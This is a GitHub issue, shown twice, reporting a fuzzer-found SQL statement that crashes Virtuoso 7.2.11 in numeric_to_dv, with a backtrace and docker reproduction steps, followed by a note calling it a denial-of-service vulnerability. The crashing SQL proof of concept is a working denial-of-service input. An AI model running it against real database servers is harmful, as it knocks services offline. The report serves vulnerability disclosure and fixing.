The PoC is generated by my DBMS fuzzer. It can also be reproduced in the beta docker image.
```SQL
CREATE TABLE v0 ( v1 INT , v2 NUMERIC ) ;
 INSERT INTO v0 VALUES ( ( SELECT v1 + ( 21073282.000000 , 71733063.000000 ) / 28 / -128 FROM v0 ORDER BY 83232987.000000 + 81567665.000000 ASC ) , 127 * ( CASE WHEN 64 THEN -128 ELSE ( ( 84936941.000000 , 60617039.000000 ) , ( 56120940.000000 , 86634377.000000 ) ) END ) / -128 ) ;
```

backtrace:
```c
#0 0x5c7710 (numeric_to_dv+0x20)
#1 0x604e4d (row_set_col+0x3bd)
#2 0x5d55d9 (page_set_values+0xd49)
#3 0x5daa67 (pf_rd_insert_1+0x127)
#4 0x5dd051 (page_apply_1+0x1e1)
#5 0x5dfc29 (page_apply+0x119)
#6 0x88893f (itc_insert_rd_range+0x1ff)
#7 0x889799 (itc_vec_insert+0x679)
#8 0x88cf9b (key_vec_insert+0x18cb)
#9 0x7b679b (insert_node_run+0x8fb)
#10 0x7b6b1c (insert_node_input+0x11c)
#11 0x7af05e (qn_input+0x3ce)
#12 0x7af05e (qn_input+0x3ce)
#13 0x7c1be9 (qr_dml_array_exec+0x839)
#14 0x7ce602 (sf_sql_execute+0x15d2)
#15 0x7cecde (sf_sql_execute_w+0x17e)
#16 0x7d799d (sf_sql_execute_wrapper+0x3d)
#17 0xe214bc (future_wrapper+0x3fc)
#18 0xe28dbe (_thread_boot+0x11e)
#19 0x7f62a5159609 (start_thread+0xd9)
#20 0x7f62a4f29133 (clone+0x43)
```

ways to reproduce (write poc to the file /tmp/test.sql first):
```bash
# remove the old one
docker container rm virtdb_test -f
# start virtuoso through docker
docker run --name virtdb_test -itd --env DBA_PASSWORD=dba  pkleef/virtuoso-opensource-7
# wait the server starting
sleep 10
# check whether the simple query works
echo "SELECT 1;" | docker exec -i virtdb_test isql 1111 dba
# run the poc
cat /tmp/test.sql | docker exec -i virtdb_test isql 1111 dba
```
Fuzzer: Virtuoso 7.2.11 crashed at `numeric_to_dv`
This is a GitHub Issue
repo:virtuoso-opensource
owner:openlink
Title : Fuzzer: Virtuoso 7.2.11 crashed at `numeric_to_dv`
Issue date:

--- start body ---
The PoC is generated by my DBMS fuzzer. It can also be reproduced in the beta docker image.
```SQL
CREATE TABLE v0 ( v1 INT , v2 NUMERIC ) ;
 INSERT INTO v0 VALUES ( ( SELECT v1 + ( 21073282.000000 , 71733063.000000 ) / 28 / -128 FROM v0 ORDER BY 83232987.000000 + 81567665.000000 ASC ) , 127 * ( CASE WHEN 64 THEN -128 ELSE ( ( 84936941.000000 , 60617039.000000 ) , ( 56120940.000000 , 86634377.000000 ) ) END ) / -128 ) ;
```

backtrace:
```c
#0 0x5c7710 (numeric_to_dv+0x20)
#1 0x604e4d (row_set_col+0x3bd)
#2 0x5d55d9 (page_set_values+0xd49)
#3 0x5daa67 (pf_rd_insert_1+0x127)
#4 0x5dd051 (page_apply_1+0x1e1)
#5 0x5dfc29 (page_apply+0x119)
#6 0x88893f (itc_insert_rd_range+0x1ff)
#7 0x889799 (itc_vec_insert+0x679)
#8 0x88cf9b (key_vec_insert+0x18cb)
#9 0x7b679b (insert_node_run+0x8fb)
#10 0x7b6b1c (insert_node_input+0x11c)
#11 0x7af05e (qn_input+0x3ce)
#12 0x7af05e (qn_input+0x3ce)
#13 0x7c1be9 (qr_dml_array_exec+0x839)
#14 0x7ce602 (sf_sql_execute+0x15d2)
#15 0x7cecde (sf_sql_execute_w+0x17e)
#16 0x7d799d (sf_sql_execute_wrapper+0x3d)
#17 0xe214bc (future_wrapper+0x3fc)
#18 0xe28dbe (_thread_boot+0x11e)
#19 0x7f62a5159609 (start_thread+0xd9)
#20 0x7f62a4f29133 (clone+0x43)
```

ways to reproduce (write poc to the file /tmp/test.sql first):
```bash
# remove the old one
docker container rm virtdb_test -f
# start virtuoso through docker
docker run --name virtdb_test -itd --env DBA_PASSWORD=dba  pkleef/virtuoso-opensource-7
# wait the server starting
sleep 10
# check whether the simple query works
echo "SELECT 1;" | docker exec -i virtdb_test isql 1111 dba
# run the poc
cat /tmp/test.sql | docker exec -i virtdb_test isql 1111 dba
```
--- end body ---

A segmentation fault in the `numeric_to_dv` function of Virtuoso 7.2.11 allows attackers to crash the database server via specially crafted SQL statements. This vulnerability can be exploited by executing a specific SQL command that triggers the fault, leading to a Denial of Service (DoS).